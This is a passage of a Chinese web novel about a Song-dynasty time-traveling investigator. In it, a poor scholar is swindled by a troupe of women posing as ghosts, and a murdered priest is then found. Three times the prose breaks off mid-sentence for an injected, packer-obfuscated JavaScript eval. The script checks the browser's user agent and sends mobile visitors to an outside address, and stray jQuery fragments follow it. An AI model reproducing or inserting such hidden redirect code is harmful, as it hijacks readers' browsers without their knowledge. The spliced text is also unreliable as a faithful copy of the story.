“若是能在初次之后就与这女鬼就此断了联系,倒还能慢慢恢复,但你……”李士卿摇摇头。
原本以为方桂儒419艳遇到此告一段落,管他是人是鬼,横竖是你情我愿的事儿,能为大家提供一桌的香艳八卦也算好事一桩。却不想人鬼情未了,此事还有下文。
众人目光再次转向了方桂儒。对方撤回一万句解释,当即低头承认。
“那夜之后,我也如同丢了魂一样,整日茶饭不思,恐怕是落了相思病。强忍两日之后,终于不堪煎熬之苦,又夜访那处庭院,果然与那含烟姑娘再次相遇。”
目前人类已知的、宇宙中最神秘的力是重力。但身处一千年前的宋连认为,重力在八字相合之力面前,不值一提!
38.12 以为按下睡眠键,结果插上快充线
01
再次见面,人和鬼都是有备而来。
上次他在深夜误入藕花深处,一夜春宵后又趁夜色仓惶离开。全程晕晕乎乎根本找不到北。
这次他从瑶光舫靠岸的地方作为起点,一边回忆一边寻找,绕了好几条弯路,在黑灯瞎火的深巷里磕磕绊绊好几回,终于摸到了那处大宅子。
院墙高筑,大门紧锁。方桂儒绕院墙走了一圈,多次试图跳起来翻上墙头看看里面的情况。
可惜他一介书生,肩不能扛手不能提,引体向上更是撑不了一秒,跳了一圈也没能得逞。倒是那身压箱底的正装已经满是尘土,狼狈不堪。
这是他唯一没有补丁的一套衣服,原本是打算中榜之后再穿的,现在觉得中榜哪有约会重要。
眼看进门无路,他在墙外低声喊“含烟姑娘,小生是、是方桂儒!”他失心疯一样围着宅院墙又喊了一圈,里面没有任何回应。
夜风戚戚,偶尔传来几声遥远的狗吠,呜呜咽咽,如诉如泣。
方桂儒喊了几圈都没有得到任何回应,心理空落落失望极了。甚至怀疑那所谓一夜春宵不过是自己醉酒发的癔症,一场春梦罢了。
他垂头叹了口气,摇晃着身躯正要离开,忽然一阵冷风,吹得方桂儒打了个激灵。他蓦然回首,身后不知何时腾起了雾气,一抹血红色若隐若现。
方桂儒丝毫没有害怕,而是快步走向那血色。
果然是柳含烟!
02
“含烟姑娘!”方桂儒在咫尺距离来了个急刹,收回了想要拥抱对方的手臂,“你……你这是怎么了!”
柳含烟依旧批着那身红纱,但整个鬼看起来更加惨白,脆弱、破碎,似乎轻轻一碰就会魂飞魄散。
柳含烟霎时便掩面哭了起来:“那日与公子独处一夜,受公子纯阳精血冲撞,本就魂魄不稳。那之后……公子便再没有来看过奴家,奴家虽已身死,不过魂魄一缕,但终日思虑劳神,若是公子再晚些出现,恐怕就、就再也不得相见了!”
柳含烟轻轻啜泣,每一声都扎在方桂儒心里。方桂儒纠结片刻,终于还是忍不住一把把女鬼楼入怀中。
果真冰冷!
方桂儒抱了没一会儿,就被柳含烟痛苦地躲开了:“公子阳气太盛,接触久了就会灼烧我魂魄……”
方桂儒顿时急了,不知要如何是好。“姑娘的意思是……我们以后,不能再相见了吗?”
柳含烟咬着红唇,眼泪竟一滴滴掉落下来。方桂儒想帮她拭去泪水,又怕碰触给她带来痛苦,手停在半空,心急如焚。
柳含烟哭泣了几下,慢慢恢复了平静,像是下定了某种决心,对方桂儒说:“与公子相亲,会被烈日灼心;不与公子相见,也会魂飞魄散。横竖都要灰飞湮灭,不如与公子共度余时,也算是死得其所了!”说着就要去拉方桂儒的手,被方桂儒躲开了。
“公子你……这是,怕了?”
方桂儒连忙解释:“我怎么会怕姑娘!我只是……若是如此,我宁愿远远看着姑娘,只要你能长久留于世间!”
柳含烟眼中还带着泪,却噗嗤笑出了声:“公子你!”说着又露出了悲伤的表情,“含烟命薄,早早枉死,与公子相见恨晚。公子如此善良,待含烟这般好,若是能在活着时遇到公子,该有多好……”
柳含烟轻轻将下巴贴在了方桂儒肩膀,方桂儒还要挣扎,被柳含烟制止了:“公子,让含烟再靠一会儿吧。”
03
方桂儒轻抚着柳含烟的后背,叹息道:“我待姑娘一片真心,可惜我凡夫肉身……若有法子能留姑娘魂魄不散,哪怕要我付出阳寿,以命换命,我也愿意!”
柳含烟大惊失色,立刻堵住了方桂儒的嘴:“这等毒誓不能随口说出!”
方桂儒:“小生并非随口说说,我有一个朋友,是阴阳先生,我可以问问他有没有什么法子……”
“公子,”柳含烟打断他,“法子当然有的,但我们毕竟人鬼殊途,恐对你阳气有损,我怎能舍得!非但如此,我已决意将自己所剩无几的愿力全传送与你,祝你高中榜首!”
柳含烟露出一抹悲伤的笑容:“公子的事,我都知道。那些势力商人,毫无远见,鼠目寸光,看不见公子的好。公子寒窗苦读,甚是不易,今后不要轻易涉险,做那些以命换命的傻事。我定会护佑你前途无量,将来衣锦还乡时,若还能记得奴家,就给奴家修个祠堂,供个牌位,说不定来生我们还会相见……”
这一番话彻底击碎了方桂儒的玻璃心,他近乎逼迫地要柳含烟说出留她魂魄的方法,柳含烟在他大力摇晃下差点当场湮灭。
“公子,你冷静。”柳含烟花容失色,忙整理了一番自己的仪容,才说:“公子阳气旺盛,奴家极阴之身自然无法承受;但这宅院中还有我身后结识的若干姐妹,若是我们一同侍奉公子,一来可以分担阳气冲撞,二来……公子的阳气也可滋阴,我们就都能留驻于此……只是……”
“不可!”方桂儒竟然毫不犹豫拒绝了。“我喜欢的是含烟姑娘,只想与姑娘你厮守终身。小生并非风流之人,怎可随意与她人……她鬼行那事……”
04
柳含烟愣了一下,咯咯笑出了声:“公子你想哪儿去了!”她伸出纤长的手指,在方桂儒脸颊轻柔抚过,“公子若是想要娶上三妻四妾,奴家自然也是不敢多言的,但若真是那样,奴家心里也会酸涩,不是滋味。”
“那你刚才说……”
“奴家说姐妹们侍奉,是说可以陪公子吃喝玩乐,全作消遣。可是这样一来,公子便只能在夜间与我相见,势必会影响公子读书考试;另外,公子若常与我们姐妹在一起,阴气太重,对你也定有影响……”
“我不在乎!”方桂儒脱口而出,“阳气受损也好,昼夜颠倒也罢,只要能与姑娘日日相守。若是一日见不到姑娘,我亦是不分黑白昼夜,魂不守舍。”
柳含烟一眨不眨盯着方桂儒看了很久,最终翘起嘴角轻柔一笑:“我明白了,公子与我的因缘虽是阴差阳错,但也牢牢牵绊,割舍不掉了。”
她轻盈转身,回眸向方桂儒妩媚一笑:“公子就随我来吧。”随意勾了勾手,就勾走了方桂儒的魂儿。
05
“所以你和那女……鬼,又干什么了?”宋连忙问。
倒不是他热衷八卦——当然八卦之心也是在熊熊燃烧的——主要还是事出反常必有妖。虽然方桂儒已经恋爱脑深陷其中,讲得绘声绘色情真意切,但宋连已经从这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930646|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大段描述中找到了好几处逻辑不通的地方。
当然,如果默认柳含烟是真的鬼,站在阴间的角度来说,这些bug是不是能成立就不知道了。但宋连是唯物战士,他压根就不相信世界上有鬼,以此为前提,这件事很快就定性为是一场有组织有预谋的诈骗。
恨啊,没有反诈APP,否则就这拙劣的伎俩,反手一个提交举报,一个团伙就能完成辖区全年任务指标。
“可是与你印堂发黑眼睑出血有关?”苏轼结合李士卿号脉诊断,立刻就补全了方桂儒还没有交待的内容。
“是……也不是……”方桂儒又扭捏起来,自己傻笑了一会儿,才强行收敛了恋爱脑痴汉的表情。“含烟姑娘的姐妹确实个个美如天仙,但我一心只爱含烟姑娘一人,对其他姑娘真的毫无想法!”
方桂儒砸吧一下嘴,有些不好意思的说:“我与她们在庭院中,玩了一整夜……关扑、投壶、弈棋、抚琴……说来也怪,与这些阴鬼在一起,照理来说,我应该损耗阳气,精疲力竭才是,但我却整夜精神抖擞,全然不觉得疲累!”
方桂儒竟然真的和一群“鬼”正正经经玩了个通宵,双方显然都玩得忘情忘我,浑然不觉东边天际已微微泛白。
“我们饮酒作诗,抚琴唱曲,不亦乐乎!含烟姑娘还对时政策论十分有兴趣,常与我探讨为官之道!原本一切都很完美,可小薇——就是含烟姑娘其中一个姐妹——突然浑身散发烟气,她痛苦喊叫起来,众人才惊觉日出了。”
方桂儒的目光看向宋连:“上次相聚,宋检法提到吸血鬼的故事,果然是真的!她们都曾是大家闺秀,言谈举止颇有礼数,并且都很惧怕阳光……我是亲眼见到小薇姑娘她只是被初升的日光照到了一点儿,就差点消散了!”
宋连心里苦笑:巧合,都是巧合,周董听了都要拍手叫巧!
他想提醒方桂儒,此事诸多蹊跷,恐怕有诈,让他多个心眼。不料方桂儒从旁边的架子上拿下一只很大的包袱,放在桌中央。
“小薇被焚身后,众姐妹当即带她四散逃离。含烟也未来得及与我多说一二,匆匆消失。只留下一堆金银细软,是关扑游戏的赌注。”方桂儒从包袱中拿出珠宝首饰、古玩金器,设计精巧,一看就价格不菲。
在场除了宋连,都是博古达人。他们各自拿起一间器物,仔细观察一番,确定都是真品。
“她们离开得太急,扔下这一桌宝贝,倘若遇到贪财之人,大可以将这些宝贝尽数拿去典当,三代享受不绝,还做什么科考。”
这也是宋连最想不明白的地方:如果说这群骗子是在放长线钓大鱼,这线未免太昂贵,何况方桂儒绝不是一条合格的大鱼。
她们到底什么动机?
“方兄,今日宴请所需的花销不菲,难道是……”一向少言寡语的苏辙竟然主动开口。他的怀疑不无道理,以方桂儒的经济实力,别说在VIP包间宴请,恐怕连瑶光舫的船票都买不起一张。
方桂儒明白了苏辙的言外之意,他正襟危坐,严肃申明:“不问自取视为偷!我方桂儒虽然贫穷,但自认还算君子,怎可做这种腌臜之举!这些宝贝我暂且收好,下次见面定会一件不少奉还回去!今日邀请各位的钱财,是我那日凭手气赢来的。”
39.13 关于我和鬼变成家人的那件事
01
在座各位各有心事,一时间无人应答。
方桂儒纠结片刻,还是开了口:“其实此次邀约各位好友相聚,一来是报答子瞻子由二位兄台一路关照,二来是回报上次瑶光舫宴请,三来……也是有个不情之请……”他将目光在李士卿与宋连二人身上来回打量。
“听闻宋检法被夺舍之后,一直由李公子以术法看护,以防阴气冲撞损耗阳寿。如今小生与含烟姑娘阴阳两隔已是遗憾,还要面临魂飞魄散的危险,恳请李公子发发善心,救救我们这对苦命鸳鸯罢!”
方桂儒说着便“扑通”一声双膝跪地,哐哐给李士卿磕了好几个响头,脑门登时红肿起来。
宋连怕他过会儿该头破血流了,忙上前制止,并向无动于衷的李士卿投去一道责难的目光。
冷漠怪没人性!小刀剌开里面肯定没心没肺!
李士卿接收到了宋连刀片般的目光,欲言又止,最后还是从兜里摸出一张符纸:“这——”
“这个叫锁阳符!带在身上能锁住阳气不流失,还能滋补阴气不消散,是居家旅行、滋阴壮阳必备佳品!”宋连抢在李士卿开口之前,夺过符纸塞进方桂儒手中,还不忘强调一句:“这是李郎君免费赠予你的,答谢你这顿宴请!”
李士卿的手掌都已经伸出来了,听到宋连这句话,又默默收了回去,恐怕在心里已经给宋连做好了小人扎满了针。
方桂儒小心接过符纸,感激地看着宋连,又不确定地看看李士卿。
李士卿:“……”
好话都让那不人鬼不鬼的家伙说完了,他还能说什么!
但面对方桂儒惨戚戚的目光,李士卿动了动嘴皮子,最终还是点头默认了。
问:让房东损失一个亿对自己有什么好处?
答:有的,心情很好。
02
得了宝贝的方桂儒再次感谢了李士卿,并再三确认这枚符纸不会损害柳含烟的魂魄——毕竟李士卿是个驱鬼除祟的。
李士卿只好将宋连瞎编的鬼话挑挑拣拣重复一遍,这才让方桂儒放心下来。
“但人鬼毕竟殊途,世上并无两全之法,滋阴补阳更是无稽之谈。无论什么法宝,法力强大则伤她,法力低弱则损你。”李士卿补充说,“你终日与她们厮混,符纸保得了一时,长此以往终究还是会阳气大衰,有性命之危。唯一的办法,就是修身养性,断了这阴缘,从此不要越界。”
宋连不相信阴阳鬼神之说,但知道这件事背后一定有不可告人的真相。而现在方桂儒正在上头,恐怕不会轻易听从大家善意的嘱咐。他既然不能坐视不理,只能再次“现身说法”:“李郎君说的没错,即便有他日夜守护,给我加了七道符八道咒的,也不能保证我完全不受影响,”他打了个哈欠,眼里泛着困倦的泪花,说:“你看我现在,春困秋乏夏打盹,睡不醒的冬三月。完美符合了二八定律——二十岁的年纪,八十岁的体力。”
方桂儒仍然纠结:“可我……”
“事出反常必有妖,方兄,大考在即,凡事多加小心。你我十数年苦读皆为此一战,待高中榜眼,再论儿女情长也不迟。”连沉默寡言的苏辙都忍不住劝诫起来。
眼看方桂儒逐渐红温,苏轼怕物极必反,出来打了圆场:“方兄也不必焦虑,李公子道行高深,宋检法断案如神,有两位朋友相助,必不会有什么差池。子由言之有理,大考在即,还是要先以前途为重。”
03
这场聚会因为大家各有心事,早早便结束了。
方桂儒好不容易做东一回,坚持要目送大家离开。其实大家心里明白,他是想等所有人都走了,自己再去那宅院探探情况。
成年人要对自己的选择负责,大伙言尽于此,既然方桂儒人鬼情未了,外人也不好再强加干涉。于是也不再推让,自觉离场。
宋连与李士卿各自沉默走了十多分钟,竟十分默契地停下了脚步。
“要去看看吗?”李士卿问。
宋连摇头:“我只负责死人的事,死鬼不应该是你的活儿吗?”
李士卿两手一摊:“宋检法金口一开,抹掉了我的酬劳。这白出力的活儿我可不接。”
“我这是防止你在诈骗之路上越走越远、越陷越深、越判越久。”宋连要拍拍李士卿肩膀,被对方嫌弃的躲开了,只好无趣收手:“你那批发价几十文一大卷的草纸真管用吗!”
“倘若真是鬼怪作祟,自然是管用的,”李士卿变戏法一样又摸出一张来,两指捏着在空中轻轻一抖,那符纸自燃成了灰烬,小风一吹就消失不见了。他将手指尖沾到的灰烬轻搓几下,露出意味不明的笑意:“可方桂儒身上并无阴气,倒是不少邪□□念。”他轻轻一吹,指间的灰烬也消失了。
“搞了半天,你也不相信他‘见鬼’了。”唯物战士和玄学骗子难得达成了共识,相视一笑,继续朝家的方向走去。
没有必要跟着方桂儒去一探究竟了,因为不论是人是鬼,都不会在今天出摊的。
04
接下来的几日,宋连依旧按部上班,只是身在曹营心在汉——他惦记着连环案的进展,不知道远在一千年后的岳雲和白队是否发现了新的线索,或者——最好的情况是——案子已经顺利告破了。
他一边完成手头工作,一边继续寻找那个似乎不存在的《汴京水陆全图》,一边还要研究穿越机制,但可惜后两项任务始终不明朗。
除此之外还有一件事始终让他挂怀,就是那位艺名“兰香”、被当街打死的妓馆姐儿。
她被传染了本不应该出现在北宋的梅毒,这恐怕是个要改变传染病学历史的发现。但如果梅毒在北宋已经传播开来,不可能在史书中毫无记载,毕竟这是一种传播性极强、后果极为严重的病症。
兰香的尸体始终无人认领,加上天气炎热又缺乏有效的防腐措施,为避免污染,宋连只能申请将尸体火化处理。
但他隐约觉得这背后一定有蹊跷。
除此以外,也有几件令人欣慰的小事:比如他终于从实习转正成为开封府有编制的检法官;又比如他拿到了穿越之后的第一份工资(尽管少得可怜);再比如甲丁已经逐渐熟练了解剖流程,虽然比起岳雲还差得很远,但也算是一个能指望上的“助理”了。
而他的房东李士卿则继续神龙见首不见尾,整日忙得无暇归家。
赚这么大的家业自然是要忙一点的,要真是只在家动动手指骗骗人就能日进斗金,那宋连就真的要黑化报社了。
但他到底还是靠诈骗赚得盆满钵满,这么一想,还是想原地黑化。果然,钱没了可以再挣,但如果良心没了,就会挣得更多。
自己好歹也是市局的干警,明知房东是个江湖骗子却对其束手无策……这破班真是一天都上不下去了!
正当宋连萎靡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944886|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摆烂之际,方桂儒又一次出现了,只不过这次,他一身落魄,到开封府衙找宋连报案。
05
李士卿宅邸。
还是那个亭子,还是那张桌子,还是一桌从州桥酒店叫的外卖。只是这次无人有心情比拼厨艺、吟诗作赋。
正如大家预料的那样,方桂儒食髓知味,不但没能与柳含烟斩断情丝,反倒是与“女鬼”们厮混得更加频繁。
他竟然与那柳含烟拜堂成亲,配了一段“真·阴婚”,婚礼在半夜举办,出席婚礼的只有他一个“活人”。
事实证明,方桂儒的“用情专一”只是因为他没有“见过世面”。在柳含烟的“大度请愿”之下,方桂儒又将那几位“鬼蜜”纳为小妾。
而这一切竟都发生在区区几日之内!
老老实实的穷书生,竟能在这么短的时间内发生这么大的变化,做出如此荒唐的事!在座各位目瞪口呆大为震惊。
除了李士卿,全程平静,甚至还被宋连捕捉到了两次微弱的蔑视之笑。
但真正荒唐的事到这里才刚刚拉开序幕。
就在昨夜,方桂儒照例来到庭院,却见他那一众妻妾个个闷闷不乐。
他越想求个答案,对方就越生气,逼得他不得不给姑奶奶们挨个磕头认错。柳含烟才娇嗔埋怨他忘了重要的日子——他们成亲的头七!
方桂儒也没想到头七还能用在红事上,但他又琢磨了一下,毕竟是阴间的婚礼,讲究个头七倒也合情合理。
总归是自己忘了结婚纪念日,确实不该!方桂儒好一顿哄,勉强哄得柳含烟给出了一点笑容。
既然是纪念日,那不如再来一场通宵关扑,纪念他们正式在一起的那一夜。
相比之前那次,这次大家可谓都是“自己人”,玩得更是花。输了的要脱衣服,赢了的想干嘛干嘛。
这个环节连方桂儒自己都不好意思细说,可见当时的场面有多香艳刺激。
荷尔蒙多巴胺内啡肽不断刷新阈值,血脉喷张更是叫人丧失理智。□□刺激满足不了欲望的时候,精神刺激就必须适时填补上来。
于是当柳含烟提议加大赌注的时候,方桂儒几乎毫不犹豫就拿出了他所有的家当——包括那枚祖传翡翠。
现在都是一家人,还分什么你的我的。方桂儒作为这个家里的男主人,怎能连玩个游戏都得让妻妾垫资。
方桂儒之所以如此不设防,还有一个原因是台面上的珠宝他见太多了。他的这些妻妾们珠光宝气不重样,夜夜挥金如土——毕竟都变成鬼了,阳间的这些个金银财宝对她们来说除了装饰,毫无意义。
果然,大小老婆们大甩卖似得把身上那些个金银物件儿往桌面上扔。
一开始方桂儒的手气是很好的,赢得了满桌宝贝,还赢得老婆们光/溜/溜站了一排。
但风水轮流转,几局之后风向就发生了逆转。老婆们挨个赢,方桂儒很快就输的连条裤衩都不剩。
眼看夜色逐渐由浓转淡,这次他惦记着日出将至,可不能让这一院子的亲爱的再遭受痛苦。
虽然自己输得底儿掉,也换来了大老婆的原谅、小老婆的欢笑。于是他提醒各位,时候不晚了,大家该入土的入土,该躺棺的躺棺,他也要回去补觉了。
“女鬼”们虽然不舍,但也不得不收拾一下准备昼伏,等待下一个夜出。
变故就在这时陡然发生了。
40.14 万般带不走,唯有业随身
01
院外突然响起敲锣声,一个黄袍道士带着两个道童突然闯入宅院,抬手就是一把沙土样的东西撒来,还不等大家反应,那道士口中突然喷出火焰!他撒出的东西在空中被点燃,火苗窜得老远,当即就点燃了两个小妾的纱裙。
带了法术的阳火太旺,两个小妾发出尖声惨叫,“轰”地一声就化为乌有了。
灼烧的火,鲜红的血,惨叫声不绝于耳。方桂儒吓得愣在原地,被柳含烟一巴掌打醒。
“这妖道法力高强,夫君快走!”
方桂儒吓得意识混乱,被柳含烟大力推向门外,但还下意识挣扎着不愿丢下姑娘们送死。
“夫君听奴家一言,我等皆已是鬼,本就不该留于世间,能与你做七日夫妻已是万世修来的福分。我与姐妹们已将灵力交予夫君体内,必将助夫君高中!这妖道正是奔着灵力而来,倘若夫君被他捉住,岂不是辜负了姐妹们一片真心,还丢了大好前程!”
柳含烟一番话让方桂儒大为感动,而最后一句则瞬间点醒了他。
他寒窗苦读,忍辱负重,不就是为了高中之时,衣锦还乡,叫那些曾经对他爱搭不理的短目烂人高攀不起吗!
大考在即,他不能废了前程!
方桂儒最后给了柳含烟一个匆忙的拥抱:“你我今生阴阳两隔,待我百年之后,踏遍酆都也要与你再续前缘!”
变故发生的时候他正输得精光,此时也顾不得穿衣服,专挑僻静的小巷穿梭,一路裸奔着回到住店。
02
故事如果到此结束,倒也算是一场人鬼情未了的意难平爱情故事。
但看方桂儒这破衣烂衫,蓬头垢面的模样,显然还有后续。
方桂儒结束了风卷残云狼吞虎咽,终于填补了几日的风餐露宿,此刻抚着鼓起的肚子打了好几个饱嗝,才继续讲下去。
那夜方桂儒惊魂不定浑浑噩噩回到住店,迷迷糊糊枯坐了几个时辰,待日头高照的时候,终于还是不放心那群“鬼家人”,又踉跄着夺门而出,一路小跑着来到宅院。
这竟然是方桂儒第一次在白天来到这处宅院。大门紧锁,手都拍肿了也无人应门。
方桂儒使了洪荒之力勉强把自己吊上了墙头,费力挣扎着往院中一探,发现庭院空空,除过地上残留着一些燃烧后的灰烬,证明昨夜不是他的一场噩梦而是真实发生的事。
他的鬼老婆们、黄袍道士和道童、满桌珍宝与狼藉,以及他那祖传翡翠,全部消失的一干二净。
方桂儒手脚一软,从墙上掉了下来,刚好掉在路经的巡查脚边。
巡查当他是盗贼,骂他大白天翻墙入室不说,还翻的是荒废多年无人居住的空屋,怕不是他脑子有病。
方桂儒反驳这院中不是荒无人住。这是个大户人家,千金死于横祸,家中还供着她的牌位,日夜香火不断。
巡查听了大笑起来,骂他还真是个脑子有病的。“这家原先是个大户商人没错,但早几年就没落了,宅子抵给了不知哪位官人,总之空了多年无人居住,也从未听说有什么千金小姐,更无横死之说!”
03
巡查原本要拿方桂儒去军铺盘问,见方桂儒胡言乱语,又身无分文,不像是能揩出点银两的样子,也懒得再给自己平白找事,便把他放了。
方桂儒仍不相信自己被骗,他就是一个穷书生,身上最值钱的不过那枚翡翠,可比起柳含烟她们浑身上下的珠宝,根本不值一提……
对了!他这里好像还有柳含烟曾经赠予的金银饰物!
方桂儒跑回住店,房间里空空如也,行李包袱全都没了!
他找来店家质问,店家却十分惊讶:半个时辰前,你自己亲自收拾了行李办了退房,押金都换你了,怎么现在来耍赖?
原来刚才有人穿着他的衣服、拿着他的房间钥匙带走了所有行李家当。那人头戴防风幞头,催着店家办理手续,店家还多问了几句,也都对得上,便不再疑心,速速结钱两清。
方桂儒这才彻底清醒过来,意识到这从头到尾都是一场骗局,遂跑到了开封府衙报案。
04
一旦接受了这是一场骗局,再细想来整件事情哪哪都充满了bug。但恋爱脑上头时这些bug就都成了“合情合理”。
方桂儒像霜打的茄子,整个人都蔫吧了下去,似乎在这一夜之间苍老了十岁。他身无分文,无处可住,大考还没开始就注定要以失败告终。
苏轼兄弟愿意提供住所,但方桂儒谢绝了。
“一切皆因我贪恋美色,落得今日下场实属我咎由自取,诸位已经帮我太多,小生实在无颜叨扰拖累各位。我会再想办法谋些生计。”他看向宋连,目光盈盈:“只求开封府能早日找到这群窃贼骗子,避免更多人受害!”
尽管方桂儒的遭遇太过离奇,但好在有宋连这个“证人”,开封府便受理了案子。宋连和甲丁当即出警,到达现场的时候发现已经有人去清理过,就连那些烧过的灰烬也都不见了。
这群人演技了得,骗术高明,还有非常强的反侦察意识,简直就是北宋版惊天魔盗团。只是他们毫无正义道德可言。
缜密的作案手法,落后的侦查手段,此案一时半会可能很难有个结论,宋连心里有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967823|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数,但又不想方桂儒没有盼头,只能委婉的转移话题。
“此案情节复杂诡谲,光是审查流程就要走上个把月,大考在即,当务之急还是要先求个稳定住所,专心复习备考。这件事不过插曲一段,要因此断送前程才是真的不值。”
其实李士卿的宅子够大,即便多住一个方桂儒也无妨,相互之间并不打扰。但他不是房主,不能代俎越庖。
宋连向李士卿投递了好几个眼神,对方跟没看到似的,坐在那里如如不动。
绝对没心没肺!
直到饭局结束,大家各自准备离开,宋连还在纠结方桂儒的去处。他甚至想过要不然就让方桂儒晚上藏在开封府里,和甲丁做个伴,share一下床位。
就在他犹豫要不要开这个口时,李士卿终于说话了:“宣化门旁正在修筑一座寺庙,名作地愿寺。正需要有人夜间值守,帮忙看管一下修筑材料、佛像法器。方兄如不介意,可在那里暂住些时日。寺庙乃清净之地,也便于你读书备考。”
宣化门、地愿寺……听起来怎么这么耳熟。
宋连反应过来,那地方不就是之前的“地渊祠”吗?他想起前段时间在晨报上看到,那座淫祠被拆除,改建成为政府下发执照的正规寺院。原来就是这“地愿寺”。
李士卿和这寺庙又有什么关系?他整日早出晚归难道就是为了这件事?宋连心里有一堆问题,但现在并不是讨论的时机。李士卿的提议很好,他也希望方桂儒能答应下来。
苏轼苏辙两兄弟也认为这是个两全其美的法子:白天方桂儒可以找些文书活计赚些外快,夜晚边值守边读书,非常完美。
在众人劝诫之下,方桂儒答应下来,再三拜谢大家的恩情,表示一定痛改前非,专心苦读。
送走客人,宋连与李士卿站在宅院门口,双双叹了口气。
宋连叹气此案未必能有结果,却不知李士卿为何叹气。
“你也觉得这案子很难破吧?”宋连问他。
李士卿摇头:“破案是宋检法的职责,不必我操心。”
宋连切了一声,“那你叹什么气!”
“方桂儒劫数未尽,还有一难,”李士卿淡淡说,“生死难。”
又开始了,神骗子的江湖话术。宋连笑:“又是你掐指一算?”
“他贪业太重,嗔心太强,愚痴不化,还将铸成大祸。”
“既然如此,你为何还不助他化解?是嫌他付不起你的劳务费吗?”
李士卿看了宋连一眼,不欲与他理论,转身向院内走去,拖着悠长的音调道:“万般带不走,唯有业随身。”
41.15 解剖剖到熟人能打折吗?
01
两日后,城南一处旅店内,一具尸体正躺在宋连面前。
死者身穿明黄色道袍,身形消瘦细长,想必生前是仙风道骨美须髯的模样。但此刻,因为失去了生气,整个人面部凹陷,面色苍白泛青,关节处已初现尸僵。
今日旅店中刚送走了一批旅行团,小二正在房间打扫,忽然感觉有液体滴在自己头顶。小二第一反应是楼上的住客恐怕将浴汤泼洒出来,顺着地板缝渗透到了楼下客房。
这小二向抬头看清方位,又一滴液体滴落,正中他的脸盘。他抬手擦拭,发觉液体触感比浴汤粘稠,再一看,竟是殷红色的!
小二立刻奔上二楼,客房门关着但没有落锁,一推就开。
地板上仰面躺着个人,脸面已血肉模糊,简直就是浸泡在满地血泊之中!小二“嗷”了一嗓子,当即吓晕过去,又很快醒来,跌跌撞撞滚下楼,叫了伙计报官。
甲丁一到现场就先用绳索将现场围栏起来,先观察了四周环境,并在他的小本本上做了记录,这才走进现场。
地板上全是黑红的血脚印,有些还没有干透。甲丁按照宋连教给他的办法,拿出一张宣纸平铺在略微粘稠的血脚印上,轻轻平压再揭起,一张脚印证物就提取了下来。
宋连则在血泊中寻找指纹,但没有收获。
这个现场与方桂儒“鬼家人”的庭院现场不同,显然没有经过细致的处理。从歪倒的桌椅灯台、血迹脚印可以初步判断,凶手作案十分仓促,并且在杀人之后没有逗留立刻离开。但现场却没有指纹,因此这很可能不是激情杀人,凶手有备而来。
“凶手和被害人一定经历过一番打斗,你们就没听到丝毫声响?”宋连审问店小二和老板。
“今日有一行住客退房离店,他们行李家当很多,响动声大,吵得店里其他住客都来投诉了,我们也没注意有人打斗……”老板吓得说话直哆嗦,说完还看向店小二求证。
店小二连连点头:“对对,他们好像是个戏班子,十几号人,在这里住了半月有余,今日刚走……”
听到“戏班子”三个字,宋连和甲丁迅速交换了眼神。
甲丁问:“死的这人也是戏班子里的?”
店小二和老板想要看一眼确认,又吓得赶紧缩回脖子闭上眼睛。“不是不是,他们一行人里没有道士,就没、没有男人!”
“都是女子?!”宋连问。
“对、都、都是女子。个个貌美如花的……”
“她们具体几人?何时入店?是什么戏班子,在什么地方演出?”宋连夺命连环问了好几个问题,但老板和店小二却几乎都答不上来。
“外地进城投奔住店者需登记通报各厢坊耆长,来者何人、因何而来都要如实报备!莫非你这黑店根本没有报备!”
老板扑通一声跪了下去:“官爷!官爷!小店小本生意,一向经营惨淡。若非皇上钦点制科考试,学生从各地赴京赶考,我这店铺早就关门大吉了!店中只有我与小侄二人,应对这么多客人已经焦头烂额精疲力竭,那些姑娘个个柔弱有礼,昼伏夜出甚是辛苦,我想她们也干不出什么违法的事来……她们人数众多,若是上报坊间军巡必来查点,麻烦了自己还耽误了姑娘们营生,所以我……”
“所以你就倾倒于美色之下,无视律法!”甲丁转而阴阳了起来:“如今姑娘们走了,可是也带走了你的些许银钱宝贝一同上路了啊?”
老板脸色骤然变了,五官痛苦扭曲成一团,委屈道:“大人明察!这群乡野贱妇,不知何时潜入小店财库,偷了我足足几日房钱!若不是我时常将营收转入家中,恐怕身家都要被洗劫一空!”
“呵!咎由自取!”甲丁蔑视道,“如今出了这等惨案,恐怕你终究还是身家不保啊!”
老板和小二闻言又哭嚎了起来。但宋连却无心理会甲丁的戏弄恐吓,而是抓住了一个重点:她们昼伏夜出。
02
现场勘验及初步审讯告一段落,照例要把尸体拉回开封府衙进行解剖。
宋连刚一出门,就看到了一个熟悉的面孔——牛牛专车司机已在店外等候。
